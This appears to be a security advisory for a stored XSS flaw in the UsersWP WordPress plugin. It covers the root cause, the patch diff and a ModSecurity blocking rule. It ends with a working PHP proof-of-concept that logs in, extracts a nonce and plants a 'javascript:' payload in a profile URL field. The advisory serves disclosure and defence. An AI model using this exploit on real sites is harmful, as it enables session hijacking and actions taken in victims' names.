Atomic Edge analysis of CVE-2026-5742:
The UsersWP WordPress plugin, versions up to and including 1.2.60, contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in the user badge widget functionality. Authenticated attackers with subscriber-level access or higher can inject arbitrary JavaScript payloads into their profile URL fields. The malicious scripts execute when a victim views a page containing the compromised badge widget.
The root cause is insufficient input sanitization and output escaping. In the vulnerable version, the `class-validation.php` file lacks a specific sanitization case for the `url` field type. User-supplied URL data passes through the validation routine without being sanitized with `sanitize_url()`. Later, in `pages.php`, the `%%input%%` placeholder in the badge link argument is replaced with the raw user data. The resulting link string is not escaped before being output in the widget’s HTML context.
An attacker exploits this by submitting a malicious JavaScript payload within a URL field during profile editing. The payload uses a protocol handler like `javascript:` or an event handler within an improperly sanitized data URI. When the plugin renders a badge widget for the attacker’s profile, it constructs a hyperlink using the tainted data. The link attribute is not escaped, allowing the script to execute in the victim’s browser when the page loads or when the badge is interacted with.
The patch addresses the issue in two locations. First, in `class-validation.php`, a new case for `’url’` is added to the field type switch statement. This case applies `sanitize_url()` to the user input. Second, in `pages.php`, after the `%%input%%` placeholder substitution, the code now checks the field type. If the field type is `url`, it applies `esc_url()` to the constructed link. For other field types, it applies `esc_attr()`. This ensures the link attribute is properly escaped for its HTML context before output.
Successful exploitation leads to stored cross-site scripting. An attacker can inject malicious scripts that execute in the context of any user viewing a page with the affected badge widget. This can result in session hijacking, unauthorized actions performed on behalf of the victim, defacement, or redirection to malicious sites. The impact is limited to the privileges of the victim user viewing the page.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/userswp/includes/class-validation.php
+++ b/userswp/includes/class-validation.php
@@ -182,9 +182,12 @@
$sanitized_value = wp_kses_post( strip_shortcodes( $value ) );
break;
+ case 'url':
+ $sanitized_value = sanitize_url( wp_unslash( $value ) );
+ break;
+
default:
$sanitized_value = sanitize_text_field($value);
-
}
}
--- a/userswp/includes/helpers/pages.php
+++ b/userswp/includes/helpers/pages.php
@@ -388,10 +388,16 @@
// will be replace in condition check
}
- //link url, replace vars
- if( !empty( $args['link'] ) && $args['link'] = str_replace("%%input%%", $match_value,$args['link']) ){
+ // link url, replace vars
+ if ( ! empty( $args['link'] ) && $args['link'] = str_replace( "%%input%%", $match_value, $args['link'] ) ) {
// will be replace in condition check
+ if ( ! empty( $field->field_type ) && $field->field_type == 'url' ) {
+ $args['link'] = esc_url( $args['link'] );
+ } else {
+ $args['link'] = esc_attr( $args['link'] );
+ }
}
+
if( !empty( $args['link'] ) && $user_id && $args['link'] = str_replace("%%profile_url%%", uwp_build_profile_tab_url($user_id),$args['link']) ){
// will be replace in condition check
}
--- a/userswp/userswp.php
+++ b/userswp/userswp.php
@@ -3,7 +3,7 @@
Plugin Name: UsersWP
Plugin URI: https://userswp.io/
Description: The only lightweight user profile plugin for WordPress. UsersWP features front end user profile, users directory, a registration and a login form.
-Version: 1.2.60
+Version: 1.2.61
Author: AyeCode Ltd
Author URI: https://userswp.io
License: GPL-2.0+
@@ -24,7 +24,7 @@
}
if ( ! defined( 'USERSWP_VERSION' ) ) {
- define( 'USERSWP_VERSION', '1.2.60' );
+ define( 'USERSWP_VERSION', '1.2.61' );
}
if ( ! defined( 'USERSWP_PATH' ) ) {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5742
# This rule targets the profile update submission in UsersWP that accepts the vulnerable URL field.
SecRule REQUEST_URI "@endsWith /profile"
"id:20265742,phase:2,deny,status:403,chain,msg:'CVE-2026-5742 Stored XSS via UsersWP Profile URL Field',severity:'CRITICAL',tag:'CVE-2026-5742',tag:'WordPress',tag:'Plugin:UsersWP'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq update" "chain"
SecRule ARGS_POST:website|ARGS_POST:url "@rx ^(?i)javascript:|data:s*text/html"
"t:lowercase,t:urlDecodeUni,t:removeNulls"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5742 - UsersWP <= 1.2.60 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Badge Link Substitution
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker';
$password = 'password';
// Payload to inject into a URL field (e.g., website field).
// This uses a javascript: protocol to execute an alert.
// In a real attack, this could be used to steal cookies or perform actions as the victim.
$malicious_payload = 'javascript:alert(document.domain)';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check for login success by looking for a dashboard indicator or error.
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now navigate to the UsersWP profile edit page.
// The exact endpoint may vary; this targets the front-end profile edit.
curl_setopt($ch, CURLOPT_URL, $target_url . '/profile');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
$response = curl_exec($ch);
// Extract nonce and form details. This is a simplified example.
// In a real scenario, you would parse the HTML for the nonce and form action.
// For this PoC, we assume the field name for the website URL is 'website'.
// The UsersWP form action and nonce parameter name need to be identified.
$nonce_pattern = '/name="_wpnonce" value="([^"]+)"/';
preg_match($nonce_pattern, $response, $nonce_matches);
if (empty($nonce_matches[1])) {
die('Could not extract security nonce.');
}
$nonce = $nonce_matches[1];
// Submit the profile update with the malicious payload in the website field.
curl_setopt($ch, CURLOPT_URL, $target_url . '/profile');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'uwp_profile_nonce' => $nonce, // Example nonce name
'website' => $malicious_payload,
'action' => 'update',
'submit' => 'Update Profile'
)));
$response = curl_exec($ch);
// Verify the payload was stored by checking the response or visiting the profile.
if (strpos($response, 'Profile updated') !== false || strpos($response, $malicious_payload) !== false) {
echo "Payload injected successfully.n";
echo "Visit a page with the user badge widget for user '$username' to trigger the XSS.n";
} else {
echo "Payload injection may have failed.n";
}
curl_close($ch);
?>